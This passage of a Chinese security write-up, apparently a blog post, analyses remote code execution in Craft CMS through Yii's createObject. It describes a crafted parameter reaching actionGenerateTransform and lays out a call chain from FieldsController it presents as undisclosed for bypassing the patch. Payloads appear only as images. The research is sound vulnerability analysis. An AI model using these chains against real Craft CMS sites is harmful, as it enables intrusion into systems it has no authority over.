normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">/</span></p><span leaf=""> 进行分割并提取到对应的 </span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">Controller</span></p><span leaf=""> 对象以及 </span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">action</span></p><span leaf=""> 函数：</span></div><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;color: rgb(63, 63, 63);"><span leaf=""><img data-imgfileid="100008317" class="rich_pages wxw-img" data-ratio="0.4383561643835616" data-type="png" data-w="1022" style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);display: block;vertical-align: middle;max-width: 100%;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;margin: 0.1em auto 0.5em;border-radius: 8px;height: auto !important;" title="null" src="https://wechat2rss.xlab.app/img-proxy/?k=d4e79c74&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAxTibMssetbldyic7lcg4BMkRrW691H6x4YcDL1IDloJofkvf2ViaicyPOJoT5B8PvSdwouiav3wucG5BA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;color: rgb(63, 63, 63);"><span leaf=""><img data-imgfileid="100008313" class="rich_pages wxw-img" data-ratio="0.5004897159647405" data-type="png" data-w="1021" style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);display: block;vertical-align: middle;max-width: 100%;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;margin: 0.1em auto 0.5em;border-radius: 8px;height: auto !important;" title="null" src="https://wechat2rss.xlab.app/img-proxy/?k=69430403&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAxTibMssetbldyic7lcg4BMkR4ic7nciaIuMLaicNJ1jnT3Le44javQRPVlLscibqSicVvVzVM0avLjKCcTQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure><div style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">因此很容易构造参数 </span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">p</span></p><span leaf=""> 来访问 </span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">actionGenerateTransform</span></p><span leaf=""> 函数，此时 </span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">POST</span></p><span leaf=""> 请求参数是 </span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">json</span></p><span leaf=""> 格式，获取的 </span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">handle</span></p><span leaf=""> 对象满足 </span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">is_array</span></p><span leaf=""> 条件要求 ：</span></div><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;color: rgb(63, 63, 63);"><span leaf=""><img data-imgfileid="100008316" class="rich_pages wxw-img" data-ratio="0.577036310107949" data-type="png" data-w="1019" style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);display: block;vertical-align: middle;max-width: 100%;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;margin: 0.1em auto 0.5em;border-radius: 8px;height: auto !important;" title="null" src="https://wechat2rss.xlab.app/img-proxy/?k=8316f666&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAxTibMssetbldyic7lcg4BMkR28fm1Zr9KQIjGx43BE30cpjHlWbF9JKosHAvp6y0DAibwiaOrkrTibctw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure><div style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">成功实现类加载并触发 </span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">RCE</span></p><span leaf=""> ：</span></div><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;color: rgb(63, 63, 63);"><span leaf=""><img data-imgfileid="100008315" class="rich_pages wxw-img" data-ratio="0.5009823182711198" data-type="png" data-w="1018" style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);display: block;vertical-align: middle;max-width: 100%;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;margin: 0.1em auto 0.5em;border-radius: 8px;height: auto !important;" title="null" src="https://wechat2rss.xlab.app/img-proxy/?k=78039f9d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAxTibMssetbldyic7lcg4BMkRRZA6icG9E2OLibUvGorHZ9MrPfbw6sxT3tLyeP90NtRhKia3icpaH4MibaQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure><h3 data-heading="true" style="box-sizing: border-box;border-width: 1px 1px 1px 4px;border-style: solid;border-color: color-mix(in srgb, rgb(15, 76, 129) 10%, transparent) color-mix(in srgb, rgb(15, 76, 129) 10%, transparent) color-mix(in srgb, rgb(15, 76, 129) 10%, transparent) rgb(15, 76, 129);font-size: 18px;font-weight: bold;margin: 2em 8px 0.75em 0px;text-align: left;line-height: 2.4em;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;padding-left: 12px;color: rgb(63, 63, 63);border-radius: 6px;background: color-mix(in srgb, rgb(15, 76, 129) 8%, transparent);"><span leaf="">漏洞复现</span></h3><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;color: rgb(63, 63, 63);"><span leaf=""><img data-imgfileid="100008320" class="rich_pages wxw-img" data-ratio="0.4580078125" data-type="png" data-w="1024" style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);display: block;vertical-align: middle;max-width: 100%;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;margin: 0.1em auto 0.5em;border-radius: 8px;height: auto !important;" title="null" src="https://wechat2rss.xlab.app/img-proxy/?k=c97d57eb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAxTibMssetbldyic7lcg4BMkRzWOBFJiaPh0xNyAO23g5iaic5yLTNMTWxLEOLaw1YIUYumt8DgD9ZwhNQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure><h2 data-heading="true" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-size: 19.5px;font-weight: bold;margin: 4em auto 2em;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;display: table;padding: 0.3em 1.2em;color: rgb(255, 255, 255);background: rgb(15, 76, 129);border-radius: 8px 24px;box-shadow: rgba(0, 0, 0, 0.06) 0px 2px 6px;"><span leaf="">不成功的未公开利用链</span></h2><div style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">只要找到新的参数可控的 </span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">createObject</span></p><span leaf=""> 触发点，那么就可以绕过补丁实现 </span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">RCE</span></p><span leaf=""> 。这里给出一条未公开的利用链：</span></div><pre style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;margin: 10px 8px;color: rgb(201, 209, 217);background: rgb(13, 17, 23);text-align: left;line-height: 1.5;overflow-x: auto;border-radius: 8px;padding: 0px !important;"><span hidden="" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));display: flex;padding: 10px 14px 0px;"><svg viewBox="0 0 450 130" height="13px" width="45px" y="0px" x="0px" version="1.1" xmlns="http://www.w3.org/2000/svg"><ellipse fill="rgb(237,108,96)" stroke-width="2" stroke="rgb(220,60,54)" ry="52" rx="50" cy="65" cx="50"></ellipse><ellipse fill="rgb(247,193,81)" stroke-width="2" stroke="rgb(218,151,33)" ry="52" rx="50" cy="65" cx="225"></ellipse><ellipse fill="rgb(100,200,86)" stroke-width="2" stroke="rgb(27,161,37)" ry="52" rx="50" cy="65" cx="400"></ellipse></svg></span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: &#34;Fira Code&#34;, Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.15px;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;text-indent: 0px;text-align: left;line-height: 1.75;margin: 0px;white-space: pre-wrap;"><span leaf="">\craft\controllers</span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(210, 168, 255);"><span leaf="">\FieldsController</span></span><span leaf="">::</span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(121, 192, 255);"><span leaf="">actionApplyLayoutTabSettings</span></span><span leaf="">    │  </span><span leaf="">    └─→ \craft\models</span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(210, 168, 255);"><span leaf="">\FieldLayoutTab</span></span><span leaf="">::</span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(121, 192, 255);"><span leaf="">__construct</span></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(139, 148, 158);"><span leaf="">//getRequiredBodyParam(&#39;config&#39;);</span></span><span leaf="">        │  </span><span leaf="">        └─→ \craft\base</span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(210, 168, 255);"><span leaf="">\Model</span></span><span leaf="">::</span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(121, 192, 255);"><span leaf="">__construct</span></span><span leaf="">            │  </span><span leaf="">            └─→ \craft\helpers</span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(210, 168, 255);"><span leaf="">\App</span></span><span leaf="">::</span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(121, 192, 255);"><span leaf="">configure</span></span><span leaf="">                │  </span><span leaf="">                └─→ \yii\base</span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(210, 168, 255);"><span leaf="">\Component</span></span><span leaf="">::</span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(121, 192, 255);"><span leaf="">__set</span></span><span leaf="">                    │  </span><span leaf="">                    └─→ \yii</span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(210, 168, 255);"><span leaf="">\BaseYii</span></span><span leaf="">::</span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(121, 192, 255);"><span leaf="">createObject</span></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(139, 148, 158);"><span leaf="">//__class</span></span><span leaf="">                         │  </span><span leaf="">                         └─→ \yii\di</span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(210, 168, 255);"><span leaf="">\Container</span></span><span leaf="">::</span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(121, 192, 255);"><span leaf="">get</span></span><span leaf="">                             │  </span><span leaf="">                             └─→ \yii\di</span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(210, 168, 255);"><span leaf="">\Container</span></span><span leaf="">::</span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(121, 192, 255);"><span leaf="">build</span></span><span leaf="">                                 │  </span><span leaf="">                                 └─→ </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(210, 168, 255);"><span leaf="">\ReflectionClass</span></span><span leaf="">::</span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(121, 192, 255);"><span leaf="">newInstanceArgs</span></span><span leaf=""> </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(139, 148, 158);"><span leaf="">// class</span></span></p></pre><div style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">需要管理员认证并且开启 </span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">allowAdminChanges</span></p><span leaf=""> 配置才能访问，该利用链在老版本中验证成功，但是在最新版本中却返回异常：</span></div><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;color: rgb(63, 63, 63);"><span leaf=""><img class="rich_pages wxw-img" data-imgfileid="100008319" data-ratio="0.43359375" title="null" data-type="png" data-w="1024" style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);display: block;vertical-align: middle;max-width: 100%;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;margin: 0.1em auto 0.5em;border-radius: 8px;height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=9e4006f0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAxTibMssetbldyic7lcg4BMkRTicSwFHdtxVr1LuBFtk79xYIthxGadmSrQkSxxoH5IibeGuOTs5QNTHg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure><div style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">在 </span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">Craft CMS</span></p><span leaf=""> 代码中没有找到更新，最终发现底层 </span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">Yii</span></p><span leaf=""> 框架在 </span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">v2.0.52</span></p><span leaf=""> 版本中更新了 </span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans 